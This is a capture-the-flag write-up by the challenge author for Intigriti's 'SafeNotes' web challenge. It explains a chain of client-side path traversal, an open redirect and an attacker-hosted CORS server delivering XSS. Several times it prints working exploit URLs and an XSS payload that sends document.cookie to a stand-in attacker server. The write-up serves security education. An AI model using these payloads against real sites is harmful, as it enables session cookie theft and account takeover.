0824: Safe Notes

Writeup for the Intigriti August (Defcon) 2024 challenge 💥

Name

Authors

Challenge Description

Find the FLAG and win Intigriti swag! 🏆

Useful Resources

Solution

I (CryptoCat) never made a monthly challenge for Intigriti before, so I figured Defcon would be a good time for my debut. My inspiration for this challenge mostly came from watching the Critical Thinking - Bug Bounty Podcast 💜

First, I'll walk you through the intended solution I had in mind when designing and implementing the challenge. At the end of the writeup, I'll highlight any interesting unintended solutions that may arise, and of course, I'll link all the excellent community writeups! The challenge is provided with source code but I'll highlight relevant snippets throughout, rather than presenting it all up front.

Recon

Site Functionality

Even when source code is included, I like to explore the web application first to get an idea of its basic functionality. When we open the challenge page, we'll see SafeNotes, a secure place to create, store, and share notes.

Once we register an account and login, a navigation menu appears including Home, Create Note, View Note, Report, Contact and Logout.

When we create a note, an ID is provided so we can retrieve it in the future and share it with others.

We can view the new note at https://challenge-0824.intigriti.io/view?note=3019c334-6ad2-48b6-bd9d-b90f7f8be848

If we report the note to a moderator, we'll get a message saying the note was reported successfully.

If we try another URL, e.g. http://ATTACKER_SERVER, we will see the following error message.

Please provide a valid note URL, e.g. https://challenge-0824.intigriti.io/view?note=12345678-abcd-1234-5678-abc123def456

Finally, there is a contact form.

After clicking submit, we're redirected back to the homepage.

Source Code Review

Upon downloading the source code, we find two applications; bot and web. Let's start by looking at the bot since that's where the flag will likely be (we could also search the project for the flag format).

app.post("/visit", async (req, res) => {
    let { url } = req.body;
    if (!url) {
        return res.status(400).json({ error: "URL is required" });
    }

    // Check user-supplied URL starts with https://challenge-0824.intigriti.io
    if (!url.startsWith(BASE_URL)) {
        return res.status(400).json({ error: `URL must start with ${BASE_URL}` });
    }

    try {
        // Launch browser
        const browser = await puppeteer.launch({
            headless: true,
            args: ["--no-sandbox", "--disable-setuid-sandbox"],
        });
        const page = await browser.newPage();

        // Set cookie containing the flag for https://challenge-0824.intigriti.io
        await page.setCookie({
            name: "flag",
            value: FLAG,
            url: BASE_URL,
        });

        // Visit the user-supplied URL
        await page.goto(url, { waitUntil: "networkidle2", timeout: 5000 });

        await sleep(5000);
        await browser.close();
        res.json({ status: "success" });
    } catch (error) {
        console.error(`Error visiting page: ${error}`);
        res.status(500).json({ error: error.toString() });
    }
});

I added comments throughout, so it doesn't warrant much further explanation; the bot sets a cookie containing the flag and then visits the URL we provide. So, we need to steal that cookie! 🍪

Note that there is some validation to ensure users cannot provide another domain. You'll notice a lot of validation checks across the challenge, sometimes to the point of redundancy. I'm just paranoid about unintended solutions and not particularly good at XSS myself, so I threw them in everywhere I could 😃 I also figure it makes the code more challenging to analyse/debug, hopefully not to the point of annoyance 😆

Anyway, that's it for the bot. Let's check the web application starting with the /report endpoint in views.py.

def report():
    form = ReportForm()
    if form.validate_on_submit():
        note_url = form.note_url.data
        parsed_url = urlparse(note_url)
        base_url_parsed = urlparse(BASE_URL)

        if not parsed_url.scheme.startswith('http'):
            flash('URL must begin with http(s)://', 'danger')
        elif parsed_url.netloc == base_url_parsed.netloc and parsed_url.path == '/view' and 'note=' in parsed_url.query:
            note_id = parsed_url.query[-36:]
            try:
                if uuid.UUID(note_id):
                    with reporting_lock:
                        if current_user.id in reporting_users:
                            flash('You already have a report in progress. Please respect our moderation capabilities.', 'danger')
                        else:
                            reporting_users.add(current_user.id)
                            threading.Thread(target=call_bot, args=(note_url, current_user.id)).start()
                            flash('Note reported successfully', 'success')

See what I mean about the validation? I know how much can go wrong with URL parsing 😅 In fact, I want it to go wrong but I want to limit where it goes wrong as much as possible. These checks ensure the user-supplied URL:

begins with http(s)://
netloc matches the server, i.e. challenge-0824.intigriti.io
path matches the /view endpoint
query contains note=
ends with a valid UUID, i.e. 12345678-abcd-1234-5678-abc123def456

Putting it all together, the user is supposed to supply a URL like https://challenge-0824.intigriti.io/view?note=12345678-abcd-1234-5678-abc123def456

They could also provide something like https://challenge-0824.intigriti.io/view?param1=cat&param2=is&param3=the&param4=best&note=12345678-abcd-1234-5678-abc123def456

Or even https://challenge-0824.intigriti.io/view?note=cryptocatisthebest&lol=12345678-abcd-1234-5678-abc123def456

However, if you try to visit the last URL, you will see an error message like Please enter a valid note ID, e.g. 12345678-abcd-1234-5678-abc123def456. This is because there's further validation on the client side in view.html.

function isValidUUID(noteId) {
    // Ensure noteID ends with a valid UUID
    const uuidRegex = /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
    return uuidRegex.test(noteId);
}

function validateAndFetchNote(noteId) {
    if (noteId && isValidUUID(noteId.trim())) {
        history.pushState(null, "", "?note=" + noteId);
        fetchNoteById(noteId);
    } else {
        showFlashMessage(
            "Please enter a valid note ID, e.g. 12345678-abcd-1234-5678-abc123def456.",
            "danger"
        );
    }
}

You might think, "client-side? I can get around that with F12!". Sure, you can, but how will you convince the admin (bot) to do that? 😉

Hopefully, you are wondering about XSS. Let me then highlight some things 😈

When a new note is created in create.html, the following code is executed.

const sanitizedContent = DOMPurify.sanitize(rawContent);

fetch("/api/notes/store", {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "X-CSRFToken": csrf_token,
    },
    body: JSON.stringify({
        content: sanitizedContent,
    }),
});

Yep, our input is sanitised with [the latest] DOMPurify before being sent to the API for storage.

What happens on the backend? 🤔

def store():
    data = request.get_json()
    content = data.get('content')

    # Server-side XSS protection
    sanitized_content = bleach.clean(content)

It's sanitised again!! 😠 This time with [the latest] bleach

Finally, the note is loaded in view.html and what's this?!

if (data.content) {
    document.getElementById("note-content").innerHTML = DOMPurify.sanitize(data.content);
    document.getElementById("note-content-section").style.display = "block";
    showFlashMessage("Note loaded successfully!", "success");
} else if (data.error) {
    showFlashMessage("Error: " + data.error, "danger");
} else {
    showFlashMessage("Note doesn't exist.", "info");
}
if (data.debug) {
    document.getElementById("debug-content").outerHTML = data.debug;
    document.getElementById("debug-content-section").style.display = "block";
}

Third time is the charm 🍀 The note content is sanitised once again with DOMPurify before finally rendering as innerHTML.

Observant readers may have noticed that data.debug is not passed through DOMPurify before being rendered as outerHTML though. Interesting! 💡

However, we saw earlier that create.html only accepts a content parameter. Perhaps we could forge a request to the /api with a debug parameter? Unfortunately, we also saw the server-side code for /api/notes/store only reads the content parameter received in POST requests 😕

Anyway, back to view.html. Digging through the JS, there is an API call to fetch note content, similar to how notes are stored. Both of these API endpoints are protected against CSRF.

if (noteId.includes("../")) {
    showFlashMessage("Input not allowed!", "danger");
    return;
}
fetch("/api/notes/fetch/" + decodeURIComponent(noteId), {
    method: "GET",
    headers: {
        "X-CSRFToken": csrf_token,
    },
});

Notice the note ID is being checked for ../? After all, it is user-controllable input that will later be used as a parameter in an API call 👀 That brings us to the first vulnerability.

Client-side Path Traversal (CSPT)

I mentioned in the introduction my inspiration for the challenge came from watching the Critical Thinking - Bug Bounty Podcast but of course, inspiration is not enough; I needed to do some further research. I read a lot of bug bounty reports and blog posts about CSPT:

I highly recommend reading through them; they discuss some super cool bugs! Let me know if I've missed any good resources 😇 Anyway, a quick summary from Doyensec:

Every security researcher should know what a path traversal is. This vulnerability gives an attacker the ability to use a payload like ../../../../ to read data outside the intended directory. Unlike server-side path traversal attacks, which read files from the server, client-side path traversal attacks focus on exploiting this weakness in order to make requests to unintended API endpoints.

Before verifying the CSPT vulnerability and searching for interesting endpoints, we must bypass the WAF.

WAF Bypass

Can you call this a WAF? 🤔

if (noteId.includes("../")) {
    showFlashMessage("Input not allowed!", "danger");
    return;
}

Well, it's good clickbait and SEO, so I'm doing it!

The filter is primitive; it only checks for the string ../, so we can try and URL encode it to %2E%2E%2F, e.g. https://challenge-0824.intigriti.io/view?note=%2E%2E%2F4d31db30-ce76-405e-89b3-45d1067ddacc

Actually, this fails since modern browsers will perform a layer of URL decoding when we use the address bar. Luckily, we can just URL encode it twice to %252E%252E%252F, e.g. https://challenge-0824.intigriti.io/view?note=%252E%252E%252F4d31db30-ce76-405e-89b3-45d1067ddacc

Since the noteId is URI decoded before the API call (but after the validation), it should be valid.

fetch("/api/notes/fetch/" + decodeURIComponent(noteId)

Indeed, we see an API call to /api/notes/4d31db30-ce76-405e-89b3-45d1067ddacc instead of the intended /api/notes/fetch/4d31db30-ce76-405e-89b3-45d1067ddacc

Let's try and go back to the /home endpoint (../../../) with https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fhome/4d31db30-ce76-405e-89b3-45d1067ddacc

It works, but we get 404: not found because /home/4d31db30-ce76-405e-89b3-45d1067ddacc is [obviously] not a valid path.

However, we can't remove the UUID from the end of the URL due to the various validation checks outlined earlier.

URL Parsing

There are many different techniques to bypass URL format validation checks, but I went with this one; add a second GET parameter to the end of the URL containing a valid UUID, e.g. https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fhome?lol=4d31db30-ce76-405e-89b3-45d1067ddacc

We get a 200 OK, and the response shows the challenge homepage! Note that this doesn't display in the browser, and if we check the console output, we will see why.

Uncaught (in promise) SyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data

It's because view.html expects a JSON object containing a key named content.

.then((response) => response.json())
.then((data) => {
	if (data.content) {

We can return to this later after we've traversed the application's endpoints for useful functionality that might help us construct an attack.

Finding a Useful Endpoint

Maybe somebody will find some cool unintended that I didn't anticipate but from my testing of the various endpoints for CSPT:

/home - The first one we tested; I can't think what possible use there could be of diverting the admin to the homepage 😅
/create - Similarly, we get a 200 OK on the API call, but to what end?
/api/notes/store - We can traverse back 1 directory to /store but get a 405: method not allowed. This is one of the unfortunate aspects of CSPT; we can't control the HTTP method. Notes are stored via POST and viewed via GET.
/view - We can already make the admin access this endpoint, that's the intended functionality of the report feature. I can't think of any usefulness.
/report - Again, the GET request will simply fetch the page contents without rendering as it expects JSON. Even if we had a POST CSPT, it wouldn't help unless we wanted to create a weird reporting loop or something 🤔
/logout - We could force the user to log out 😂 Yeh, not helpful..

I purposefully left out the second-to-last endpoint on the navigation menu, /contact. I also avoided analysing it in detail during the initial recon phase; let's do that now.

Open Redirect

Here's the /contact route from views.py.

@main.route('/contact', methods=['GET', 'POST'])
def contact():
    form = ContactForm()
    # Take user-supplied "return" URL as parameter
    return_url = request.args.get('return')
    if request.method == 'POST':
        if form.validate_on_submit():
            flash('Thank you for your message!', 'success')
            # If the URL begins with http(s) - redirect to it
            if return_url and is_safe_url(return_url):
                return redirect(return_url)
            return redirect(url_for('main.home'))
    # If the URL begins with http(s) - redirect to it
    if return_url and is_safe_url(return_url):
        return redirect(return_url)
    return render_template('contact.html', form=form, return_url=return_url)

I've added some comments to illustrate the functionality. If the user provides a return_url which passes the following check:

def is_safe_url(target):
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https')

They will be redirected to that location, AKA Open Redirect. I added the http(s) check to ensure players couldn't use javascript: or file: or some crazy protocols I don't know about.

You don't need source code or any fuzzing to identify this vulnerability. All you need to do is submit the contact form, and you will see the redirect in the HTTP history; contact?return=/home

Send it to the burp repeater, change the request method to GET, and change the return parameter to some other value, e.g., /logout, and you will see what happens! Here's an example: https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fcontact?return=/logout?lol=4d31db30-ce76-405e-89b3-45d1067ddacc

This means we can send the following URL to the admin bot to log them out; https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fcontact?return=/logout?lol=4d31db30-ce76-405e-89b3-45d1067ddacc

URL Parsing Behaviour

If you tried another variation (using &lol instead of ?lol)

https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fcontact?return=/logout&lol=4d31db30-ce76-405e-89b3-45d1067ddacc

You would notice it fails.

Please enter a valid note ID, e.g. 12345678-abcd-1234-5678-abc123def456.

It's because the note parameter is validated to ensure it ends with a valid UUID. One way around this would be to URL-encode the & (it will be URL-decoded after the validation anyway).

https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fcontact?return=/logout%26lol=4d31db30-ce76-405e-89b3-45d1067ddacc

If we change the ? after contact to an &, we'll see the same error. However, URL-encoding the & does not work this time.

https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fcontact%26return=/logout%26lol=4d31db30-ce76-405e-89b3-45d1067ddacc

That's because the request to log out ends up looking like /contact&return=/logout&lol=4d31db30-ce76-405e-89b3-45d1067ddacc

Clearly invalid; the first query key needs to preceded by a ?

External Redirect

The only restriction on the return URL is that it must use the http(s) protocol. Let's try to spin up a server, e.g. ngrok, requestbin, webhook etc.

We visit the following URL, we should see an entry in our server logs.

https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fcontact?return=https://ATTACKER_SERVER/%26lol=4d31db30-ce76-405e-89b3-45d1067ddacc

We get a hit, but it's a 501: message Unsupported method ('OPTIONS'). Let's check ChatGPT 🧠

CORS

The error message you're encountering indicates that the server does not support the OPTIONS HTTP method. This is often related to Cross-Origin Resource Sharing (CORS) preflight requests, which are automatically sent by the browser when certain conditions are met, such as:
Using HTTP methods other than GET, HEAD, or POST.
Using custom headers.
Sending any data in the request body other than simple text.

As far as I can tell, the only condition that applies is (2) since the X-CSRFToken header is included in the fetch request.

One possible workaround is to provide a no-cors option as a parameter in the fetch call. However, we'll have no control over this code when delivering our malicious link to the admin.

Instead, let's handle the OPTIONS request on the attacker server. We can easily create a basic Flask application to manage this.

from flask import Flask, send_from_directory
from flask_cors import CORS
import os

app = Flask(__name__)
CORS(app)

@app.route('/', methods=['GET', 'POST'])
def index():
    current_dir = os.path.dirname(os.path.abspath(__file__))
    return send_from_directory(current_dir, 'index.json')

if __name__ == '__main__':
    app.run(debug=True)

We must find a way around the JSON format error, so let's add a simple index.json file.

{ "content": "I just injected this :)", "status": "success" }

We visit the same URL and this time, the OPTIONS request is followed up with a GET (200 OK).

Checking the browser confirms that the content from our index.json file has been successfully injected into the page!

XSS

All that remains is to develop an XSS payload that steals the admin's cookie. What if we try a classic one? You can enter document.cookie = "test" in your browser console for testing purposes.

{
    "content": "<img src=x onerror=fetch('https://ATTACKER_SERVER/?'+document.cookie)>",
    "status": "success"
}

We get the broken image but nothing in the HTTP logs. Checking the source shows why; the script was stripped from the input.

It's because we only bypassed 2/3 sanitisation steps: ✅ DOMPurify in create.html ✅ Bleach in /api/notes/store ❌ DOMPurify in view.html

That's right; our content parameter is sanitised.

document.getElementById("note-content").innerHTML = DOMPurify.sanitize(data.content);

Remember that other debug parameter?

document.getElementById("debug-content").outerHTML = data.debug;

We never had a way to inject this content because /api/notes/store only saved the note.content to the database. Now, we can inject any property we choose into the JSON object!

{
    "debug": "<img src=x onerror=fetch('https://ATTACKER_SERVER/?'+document.cookie)>",
    "status": "success"
}

We get the cookie!

All that's left is to send the final URL to the admin.

https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fcontact?return=https://ATTACKER_SERVER%26lol=4d31db30-ce76-405e-89b3-45d1067ddacc

The note is reported successfully, and we receive the flag 🚩

Flag: INTIGRITI{1337uplivectf_151124_54v3_7h3_d473}

Summary (TLDR)

Here's a quick summary of the challenge design / intended solution 🙂

Note taking/sharing application that allows users to report notes to a moderator

Users can register/login and find options to create/view/report notes, as well as "contact"
Players will review the challenge source code and find the admin/moderator sets the flag in a cookie before visiting our "reported note"
The reported note URL must be in the format http://CHALLENGE_URL/view?note=12345678-abcd-1234-5678-abc123efg456
- Specifically, it must begin with http://CHALLENGE_URL/view?note= and end with a valid UUID, e.g. 12345678-abcd-1234-5678-abc123efg456
Players will likely attempt XSS payloads on the /create, but the input is processed with the latest DOMPurify (it's subsequently sanitized with Bleach on the server-side too)
Furthermore, if players review the /view endpoint, they will find DOMPurify sanitizes the note content before rendering
They should also notice the CSRF-protected API endpoint to fetch (and store) notes
- It looks for a valid UUID (but only at the end of the string, like /report)
- It checks if the note ID includes ../ (hint at CSPT)
- There's a data.debug variable that doesn't get sanitized by DOMPurify (hint at XSS)
Basically, the note ID is passed from a user-controllable parameter (GET) to the API. The ../ check can be bypassed with double-URL encoding (it will be normalized before the API call)
So, which endpoint to traverse to? Players who tested the /contact endpoint will have discovered an open redirect, e.g. ../../../contact?return=/home, and this can be set to an external URL, e.g. ../../../contact?return=https://ATTACKER_SERVER
Since fetches are followed automatically, players can have their server deliver content
When the admin visits the URL, the CSPT will call the /contact endpoint, which will redirect to the attacker server, which will respond with an XSS payload
Some barriers to overcome:
- Players will get a CORS error but can resolve it by creating a CORS Flask app on their server
- data.content is sanitized - players will need to create a JSON object that has a debug property since data.debug is set to outerHTML without being processed by DOMPurify
- Path traversal must be double-encoded to bypass WAF, e.g. ..%252F..%252F..%252F
- /report requires the URL ends with a valid UUID, so players will need to add &lol=b00af6a0-7f48-46a1-8f54-f50c963950c3 or ?=b00af6a0-7f48-46a1-8f54-f50c963950c3 or /b00af6a0-7f48-46a1-8f54-f50c963950c3 to the end of the return URL
- However, /view also requires the note ID to end with a valid UUID, so they will actually need to URL-encode the & like return=http://ATTACKER_SERVER%26lol=b00af6a0-7f48-46a1-8f54-f50c963950c3
The full payload should look like https://CHALLENGE_URL/view?note=..%252F..%252F..%252Fcontact?return=https://ATTACKER_SERVER%26lol=b00af6a0-7f48-46a1-8f54-f50c963950c3 with attacker server hosting something like {"debug": "<img src=x onerror=fetch('https://ATTACKER_SERVER/?'+document.cookie)>", "status": "success"}
Player will receive the flag as a GET parameter in their web server log

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